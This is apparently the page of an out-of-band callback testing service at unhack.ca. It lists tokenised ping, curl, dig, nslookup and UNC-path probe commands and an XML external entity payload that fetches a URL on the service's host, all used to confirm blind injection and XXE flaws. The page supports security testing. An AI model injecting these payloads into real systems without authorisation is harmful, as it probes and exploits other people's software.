$ ping -c1 -p 00f05200e28859eb30e5df8fe7e82e00 unhack.ca
$ curl http://unhack.ca/p/f05200e28859eb30e5df8fe7e82e
$ dig f05200e28859eb30e5df8fe7e82e @unhack.ca
$ dig f05200e28859eb30e5df8fe7e82e.ns.unhack.ca
C:\> nslookup f05200e28859eb30e5df8fe7e82e unhack.ca
C:\> type \\unhack.ca\f05200e28859eb30e5df8fe7e82e\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/f05200e28859eb30e5df8fe7e82e">]>
<foo>&xxe;</foo>
Waiting for ping...